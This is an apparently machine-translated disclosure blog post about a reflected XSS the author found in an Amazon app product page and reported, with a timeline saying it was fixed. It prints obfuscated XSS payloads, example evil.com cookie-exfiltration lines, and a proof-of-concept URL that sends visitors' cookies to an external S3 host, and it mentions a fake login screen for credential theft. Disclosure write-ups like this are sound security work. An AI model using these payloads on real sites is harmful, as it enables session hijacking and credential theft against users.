Известно ли вам о каких-либо (частных) программах поощрения ошибок? Я бы хотел получить приглашение. Пожалуйста, свяжитесь со мной: [email protected]

Предыстория
Последние 2 месяца я пытался улучшить свои навыки работы с интерфейсом и сервером, разрабатывая https://Scroll.am ( Альтернативный способ просмотра Amazon, отзывы приветствуются!). Я использую подобные проекты, чтобы узнать больше о новых фреймворках (Vue.js) и методах (Codestar & Lambda, AWS). Сегодня я кое-что узнал о XSS и хотел бы поделиться этим с вами :)

Меня всегда интересовало, как Amazon демонстрирует свои собственные продукты. Какой дизайн выбрали, а как насчет UX? Я могу многому научиться из этого, так как они AB тестируют все. Но где вы смотрите на все их типы дизайна?

Приложение для покупок Amazon
Одно из мест, где можно проверить новый дизайн, - это их приложение. Итак, дождливым днем ​​в пятницу я решил декомпилировать их Android-приложение Amazon Shopping и взглянуть на код. Краткое руководство: 1. Загрузите файл APK на свой локальный компьютер, 2. Воспользуйтесь каким-нибудь онлайн-декомпилятором для извлечения кода, 3. Начните искать в разных файлах URL-адреса страниц продуктов.

Поиск URL-адресов страниц продуктов
Страницы продуктов Amazon часто содержат в URL-адресах «/ dp /», поэтому я быстро нашел это:

Страница продукта Masclient?
Через 2 месяца я увидел множество URL-адресов продуктов, но ни разу не видел ни одного с этой частью masclient. Давайте посмотрим".

М-м-м. Похоже, что они используют какую-то настраиваемую страницу продукта в своем приложении. Что будет, если мы изменим идентификатор продукта?

Ммм, это выглядит сломанным. Нет надлежащих проверок идентификатора продукта, и похоже, что он использует его с большой буквы. Итак ... может быть, нам удастся ввести HTML-код? Посмотрим, что произойдет, если мы попробуем использовать тег <marquee>.

Большой. Он отображает наш ввод в 7 разных местах кода, одно из них прямо внутри тега скрипта.

У нас есть несколько проблем
1. Входные данные пишутся с заглавной буквы; , поэтому функции JavaScript, такие как alert, становятся ALERT и перестают работать. К счастью, кто-то другой уже обошел эту проблему, работая над XSS-атакой на Yahoo.com. Решение: преобразовать простой текст в объекты HTML и URL-адрес закодировать строку используйте вывод внутри параметра onload тега svg. Например: <svg onload=%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x48%3B%26%23x69%3B%26%23x20%3B%26%23x4D%3B%26%23x6F%3B%26%23x6D%3B%26%23x27%3B%26%23x29%3B>

2. Закрывающие теги не разрешены (‹/script›); он вызывает ошибку 404, поэтому невозможно легко загрузить наш собственный файл javascript с помощью блока <script src="evil.com/1.js"></script> . Решение: используйте <svg onload=javascript:alert(1)> для инъекций javascript в ДОМ. Или просто используйте вектор, который у нас есть внутри блока скрипта. Мы можем выйти из этого, добавив несколько символов: } '›, чтобы URL-адрес стал «https://www.amazon.com/gp/masclient/dp/'} ');} JAVASCRIPTHERE; {('

Из-за проблемы с заглавными буквами мы можем решить использовать метод jscrew.it, чтобы преобразовать javascript в символы ! ( ) + [ ]. Пример URL, который просто запускает функцию debugger: https://www.amazon.com/gp/masclient/dp/'%7D ');% 7D [] [(! [] + []) [+ [ ]] + ([! []] + [] [[]]) [+ !! [] + [+ []]] + (! [] + []) [!! [] + !! []] + (! [] + []) [!! [] + !! []]] [([] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+ !! [] + [+ []]] + (! [] + []) [!! [] + !! []] + (! [] + []) [ !! [] + !! []]]) [!! [] + !! [] + !! []] + (!! [] + [] [(! [] + []) [+ ` ...
Если длина URL-адреса не была проблемой, было бы здорово использовать эту технику и ввести fetch("evil.com"+document.cookie) (кредитов). Однако URL-адрес станет ›8000 символов, и мы столкнемся с проблемой 3.

3. Максимальная длина URL-адреса ограничена; Amazon прекращает загрузку страницы, если длина URL превышает ~ 3500 символов, поэтому мы не можем воспользоваться такими приемами, как http://jscrew.it/. Решение: никто не знает?
Обновление: Redditor Flowible предложил использовать jjencode, я пытался это сделать во время написания отчета, но использование знаков $ было невозможно. Кто-нибудь знает о вариациях, которые позволяют нам изменить знак $ на обычный символ?
Обновление: DrStache_ предложил использовать восьмеричную кодировку и конструкторы javascript. Например, examplealert(1)is URL[‘\143\157\156\163\164\162\165\143\164\157\162’](‘\141\154\145\162\164(1)’)() и alert(document.cookie) is X=URL[‘\143\157\156\163\164\162\165\143\164\157\162’];X(‘\141\154\145\162\164(X(“\162\145\164\165\162\156 \144\157\143\165\155\145\156\164.\143\157\157\153\151\145”)())’)() Объясняется: X=URL[‘\143\157\156\163\164\162\165\143\164\157\162’]; X(‘\141\154\145\162\164(X(“\162\145\164\165\162\156 \144\157\143\165\155\145\156\164.\143\157\157\153\151\145”)())’)() декодировано X=URL[‘constructor’]; X(‘alert(X(“return document.cookie”)())’)() декодировано X=Function; X(‘alert(X(“return document.cookie”)())’)() декодировано Function(‘alert(Function(“return document.cookie”)())’)() декодировано alert(Function(“return document.cookie”)()) alert(document.cookie)

4. Аудитор Chrome XSS; Ошибки ERR_BLOCKED_BY_XSS_AUDITOR возникают в Chrome (67.0.3396.62), если он обнаруживает какие-либо атаки отражения. В качестве доказательства концепции мы используем Firefox (60.0.1), поскольку в нем нет аудитора xss. Решение. Мне не удалось найти в аудиторе не исправленных ошибок. Кто-нибудь знает способ обойти это?

Подтверждение концепции (работает в Firefox)
Мы создадим URL-адрес Amazon, который автоматически перенаправит посетителя на внешний URL-адрес, добавив в URL-адрес данные cookie этого посетителя. Мы регистрируем все посещения этого веб-сайта, поэтому можем захватить их сеанс Amazon. Кроме того, мы добавляем фальшивый экран входа в систему только для того, чтобы мы могли попытаться украсть учетные данные.

URL:
https://www.amazon.com/gp/masclient/dp/%22%7D'%3E%3Csvg%20onload%3D%26%23x77%3B%26%23x69%3B%26 % 23x6E% 3B% 26% 23x64% 3B% 26% 23x6F% 3B% 26% 23x77% 3B% 26% 23x2E% 3B% 26% 23x6C% 3B% 26% 23x6F% 3B% 26% 23x63% 3B% 26% 23x61 % 3B% 26% 23x74% 3B% 26% 23x69% 3B% 26% 23x6F% 3B% 26% 23x6E% 3B% 26% 2…

Расшифровка URL:
https://www.amazon.com/gp/masclient/dp/"}'><svg onload=&#x77;&#x69;&#x6E;&#x64;&#x6F;&#x77;&#x2E;&#x6C;&#x6F;&#x63;&#x61;&#x74;&#x69;&#x6F;&#x6E;&#x2E;&#x72;&#x65;&#x70;&#x6C;&#x61;&#x63;&#x65;&#x28;&#x27;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3A;&#x2F;&#x2F;&#x73;&#x33;&#x2D;&#x65;&#x75;&#x2D;&#x77;&#x65;&#x73;&#x74;&#x2D;&#x31;&#x2E;&#x61;&#x6D;&#x61;&#x7A;&#x6F;&#x6E;&#x61;&#x77;&#x73;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x70;&#x65;&#x6E;&#x74;&#x65;&#x73;&#x74;&#x69;&#x6E;&#x67;&#x2D;&#x74;&#x61;&#x72;&#x67;&#x65;&#x74;&#x2F;&#x78;&#x73;&#x73;&#x31;&#x2E;&#x68;&#x74;&#x6D;&#x6C;&#x3F;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x3D;&#x27;&#x2B;&#x65;&#x73;&#x63;&#x61;&#x70;&#x65;&#x28;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x29;&#x29;>

HTML-объекты декодирования:
https://www.amazon.com/gp/masclient/dp/"}'><svg onload=window.location.replace(‘https://s3-eu-west-1.amazonaws.com/pentesting-target/xss1.html?cookie='+escape(document.cookie))>

Бонусная ссылка, alert (1) в Chrome:
https://www.amazon.com/gp/masclient/dp/'%7D%22);%7D[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!!++([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!![]+[])[+[]]+(!!++([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]])()(+!![]);%7B(%22

Заключение
Никогда не забывайте проводить аудит безопасности внутренних веб-страниц мобильных приложений. Забыв одного параметра достаточно, чтобы создать эффективный эксплойт. Обфускация полезной нагрузки XSS может обойти различные средства защиты и позволяет создать подозрительный URL-адрес. Никогда не прекращайте поиски Уолли ;-)

Временная шкала
08–06–18 Обнаруженная ошибка
09–06–18 Информированная Amazon
11–06–18 Amazon подтвердила ошибку
14–06 –18 Amazon исправил ошибку, награды нет
15–06–18 Исправление подтверждено, блог опубликован
10–07–18 Добавлено предложение по кодировке (кредиты: DrStache_)